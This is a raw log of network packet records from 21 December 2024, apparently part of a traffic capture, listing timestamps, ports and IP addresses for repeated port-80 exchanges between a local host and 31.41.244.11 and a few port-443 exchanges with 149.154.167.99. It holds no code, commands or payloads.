Dec 21, 2024 10:15:32.522609949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.522624016 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.523300886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.523386002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.523494005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.523638010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.524173975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.524410963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.525311947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.525329113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.525464058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.673980951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.674041033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.674117088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.674117088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.674240112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.674321890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.674346924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.674437046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.674879074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.674918890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.675122976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.675240040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.675728083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.675832033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.675858021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.676525116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.676541090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.676624060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.676624060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.677334070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.677452087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.677472115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.678164005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.678347111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.678369999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.678600073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.678994894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.679167032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.679352045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.679963112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.679977894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.680218935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.680654049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.680768013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.680819035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.680819035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.681420088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.681600094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.681624889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.681828022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.682367086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.682378054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.682467937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.683087111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.683182001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.683213949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.683274984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.683940887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.683999062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.684017897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.684159040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.684776068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.684839964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.684864044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.684900045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.685643911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.685722113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.685770035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.685770035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.686497927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.686512947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.686556101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.686556101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.687212944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.687274933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.687330961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.687376976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.688114882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.688206911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.688317060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.688937902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.688950062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.689004898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.689004898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.689765930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.689805031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.689825058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.689862967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.690685034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.690809965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.690838099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.690922976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.691322088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.691363096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.691400051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.691549063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.692199945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.692375898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.692400932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.692450047 CET	49823	443	192.168.2.4	149.154.167.99
Dec 21, 2024 10:15:32.692487001 CET	443	49823	149.154.167.99	192.168.2.4
Dec 21, 2024 10:15:32.692495108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.692955971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.693015099 CET	49823	443	192.168.2.4	149.154.167.99
Dec 21, 2024 10:15:32.693087101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.693203926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.693203926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.693835020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.693917036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.694000006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.694000006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.694685936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.694749117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.694768906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.694957972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.695452929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.695512056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.695566893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.695566893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.696285963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.696388960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.696412086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.697115898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.697217941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.697247982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.697940111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.698009014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.698031902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.698645115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.698728085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.698775053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.698798895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.699213982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.699563026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.699692965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.699721098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.699764013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.700467110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.700509071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.700655937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.701256990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.701337099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.701436996 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.702083111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.702094078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.702183962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.702883005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.703185081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.703221083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.703675032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.703805923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.703829050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.704437017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.704505920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.704557896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.704602003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.704665899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.705399990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.705440044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.705468893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.705511093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.706139088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.706273079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.706331968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.706331968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.706955910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.707055092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.707122087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.707232952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.707902908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.707914114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.707969904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.708643913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.708760977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.708787918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.708926916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.709455967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.709625959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.709717035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.710314035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.710401058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.710417032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.710519075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.711122036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.711184025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.711221933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.711299896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.711985111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.712156057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.712182045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.712269068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.712752104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.712810993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.712871075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.712905884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.713591099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.713722944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.713747025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.713864088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.714402914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.714436054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.714468002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.714544058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.715284109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.715356112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.715389013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.715436935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.716104984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.716120005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.716213942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.716213942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.716830015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.716978073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.731631994 CET	49823	443	192.168.2.4	149.154.167.99
Dec 21, 2024 10:15:32.731661081 CET	443	49823	149.154.167.99	192.168.2.4
Dec 21, 2024 10:15:32.866054058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.866136074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.866365910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.866473913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.866540909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.866561890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.867346048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.867362976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.867374897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.867439985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.868094921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.868212938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.868380070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.868931055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.869004965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.869040966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.869774103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.869888067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.869910955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.870547056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.870604038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.870702028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.870768070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.871350050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.871494055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.871561050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.872173071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.872314930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.872378111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.873120070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.873131037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.873217106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.873816013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.873894930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.874157906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.874654055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.874708891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.874732971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.875268936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.875494957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.875582933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.875721931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.876380920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.876395941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.876456022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.877101898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.877157927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.877177954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.877928019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.878046036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.878068924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.878755093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.878815889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.878882885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.878971100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.879579067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.879795074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.879852057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.880418062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.880577087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.880623102 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.881283998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.881347895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.881378889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.882180929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.882231951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.882266045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.882952929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.883008003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.883057117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.883189917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.883774996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.883871078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.884052038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.884541035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.884756088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.884887934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.885385990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.885485888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.885514975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.886157036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.886231899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.886255026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.887104034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.887120962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.887156963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.887170076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.888003111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.888012886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.888067007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.888705969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.888715982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.888772011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.889487982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.889539957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.889600039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.890317917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.890391111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.890417099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.891118050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.891186953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.891194105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.891976118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.891985893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.892106056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.892106056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.892800093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.892868996 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.892925978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.893023968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.893604040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.893666983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.893697977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.894397974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.894474030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.894531965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.895241976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.895265102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.895334005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.895421028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.896045923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.896182060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.896269083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.896958113 CET	80	49808	31.41.244.11	192.168.2.4
